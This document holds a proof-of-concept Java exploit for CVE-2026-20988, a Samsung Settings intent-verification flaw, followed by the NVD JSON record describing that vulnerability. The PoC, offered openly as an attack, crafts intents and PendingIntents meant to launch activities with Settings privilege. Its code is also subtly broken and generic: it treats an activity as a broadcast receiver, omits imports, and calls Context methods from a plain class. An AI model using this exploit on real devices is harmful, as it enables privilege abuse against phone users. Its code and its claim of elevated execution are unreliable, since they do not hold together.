CVE-2026-20988

// CVE-2026-20988 PoC - Samsung Settings Intent Verification Bypass // This PoC demonstrates the improper intent verification vulnerability // Requires: Android device with vulnerable Samsung Settings version import android.content.Intent; import android.content.ComponentName; public class CVE_2026_20988_PoC { // Target broadcast receiver component in Samsung Settings private static final String SETTINGS_PACKAGE = "com.android.settings"; private static final String VULNERABLE_RECEIVER = "com.android.settings.SubSettings"; // Malicious intent action that triggers vulnerable code path private static final String MALICIOUS_ACTION = "com.android.settings.SUB_SETTINGS"; /** * Exploit method to trigger the vulnerable broadcast receiver * This sends a crafted intent that bypasses proper verification */ public void exploit() { try { // Create malicious intent targeting Settings component Intent maliciousIntent = new Intent(MALICIOUS_ACTION); maliciousIntent.setComponent(new ComponentName( SETTINGS_PACKAGE, VULNERABLE_RECEIVER )); // Add extra data to exploit the improper verification maliciousIntent.putExtra("target_activity", "SensitiveSettingsActivity"); maliciousIntent.putExtra("extra_data", "malicious_payload"); // Set as foreground activity to increase priority maliciousIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); maliciousIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP); // Send the malicious broadcast sendBroadcast(maliciousIntent); System.out.println("[+] Malicious intent sent successfully"); System.out.println("[+] Settings receiver should now execute with elevated privileges"); } catch (Exception e) { System.err.println("[-] Exploit failed: " + e.getMessage()); e.printStackTrace(); } } /** * Alternative exploitation via PendingIntent * Bypasses additional verification if present */ public void exploitViaPendingIntent() { Intent intent = new Intent(MALICIOUS_ACTION); intent.setComponent(new ComponentName(SETTINGS_PACKAGE, VULNERABLE_RECEIVER)); // Create pending intent with malicious parameters PendingIntent pendingIntent = PendingIntent.getBroadcast( getApplicationContext(), 0, intent, PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_IMMUTABLE ); try { pendingIntent.send(); Log.i("CVE-2026-20988", "PendingIntent exploit executed"); } catch (PendingIntent.CanceledException e) { e.printStackTrace(); } } } // Note: This PoC is for educational and security research purposes only. // Unauthorized exploitation of this vulnerability is illegal.

{"cve": {"id": "CVE-2026-20988", "sourceIdentifier": "[email protected]", "published": "2026-03-16T14:18:09.457", "lastModified": "2026-03-20T14:29:28.470", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper verification of intent by broadcast receiver in Settings prior to SMR Mar-2026 Release 1 allows local attacker to launch arbitrary activity with Settings privilege. User interaction is required for triggering this vulnerability."}, {"lang": "es", "value": "Verificación incorrecta de la intención por el receptor de difusión en Ajustes antes de la versión SMR Mar-2026 Release 1 permite al atacante local lanzar actividad arbitraria con privilegio de Ajustes. Se requiere interacción del usuario para activar esta vulnerabilidad."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:N", "baseScore": 5.0, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.3, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-Other"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:16.0:-:*:*:*:*:*:*", "matchCriteriaId": "3FD6766A-EC2B-4CA2-9A8E-2BA5C9E9ECF9"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:16.0:smr-aug-2025-r1:*:*:*:*:*:*", "matchCriteriaId": "C86A3033-9DD1-47F9-B95D-10F82A31D335"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:16.0:smr-dec-2025-r1:*:*:*:*:*:*", "matchCriteriaId": "98C26CF8-228F-4791-B5A3-B65DF709F402"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:16.0:smr-feb-2026-r1:*:*:*:*:*:*", "matchCriteriaId": "2BB01FDF-5022-4EAE-9779-F09771BEC443"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:16.0:smr-jan-2026-r1:*:*:*:*:*:*", "matchCriteriaId": "E2CCDCC2-A128-4BB4-91CD-E534E06BB24C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:16.0:smr-nov-2025-r1:*:*:*:*:*:*", "matchCriteriaId": "0C527C12-5480-4604-A480-1E540095EB5D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:16.0:smr-oct-2025-r1:*:*:*:*:*:*", "matchCriteriaId": "B3C64BA1-AF0F-4E65-97BE-3FD1958FFC79"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:16.0:smr-sep-2025-r1:*:*:*:*:*:*", "matchCriteriaId": "79C71CA6-508E-4A19-9014-47FA1BD5A83C"}]}]}], "references": [{"url": "https://security.samsungmobile.com/securityUpdate.smsb?year=2026&month=03", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}